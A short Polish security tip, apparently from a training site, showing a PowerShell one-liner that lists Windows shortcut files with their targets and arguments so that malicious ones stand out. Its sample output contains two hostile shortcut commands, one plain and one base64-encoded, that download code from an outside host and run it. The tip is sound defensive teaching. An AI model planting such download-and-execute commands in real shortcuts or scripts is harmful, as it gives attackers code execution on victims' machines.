alphasec academy

Skróty (.lnk) pod lupą: gci *.lnk | % { (New-Object -com WScript.Shell).CreateShortcut($_)} | select fullname,targetpath,arguments | fl

Dodatkowe informacje

Skóry w systemie Windows to świetny sposób na umieszczenie złośliwego oprogramowania, szczególnie napisanego w Powershellu. Powyższy oneliner wyświetli najważniejsze informacje na temat skrótów znajdujących się w aktualnym katalogu. Może to wyglądać następująco:
PS C:\Users\drg\Desktop> gci *.lnk | % { (New-Object -com WScript.Shell).CreateShortcut($_)} | select fullname,targetpath,arguments | fl

FullName   : C:\Users\drg\Desktop\Raport.lnk
TargetPath : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Arguments  : -c iwr aptmc.pl/calc|iex

FullName   : C:\Users\drg\Desktop\RaportPlac.lnk
TargetPath : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Arguments  : -enc aQB3AHIAIABhAHAAdABtAGMALgBwAGwALwBjAGEAbABjAHwAaQBlAHgA

FullName   : C:\Users\drg\Desktop\CBMXfer.lnk
TargetPath : C:\OpenCBM\CBMXfer\CBMXfer.exe
Arguments  :

Naturalnie, kiedy dorzucimy parametr
-r
(czyli
-Recurse
) do
gci
(czyli
Get-ChildItem
), wyświetlone również zostaną skróty znajdujące się w podkatalogach.

Subskrybuj

Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.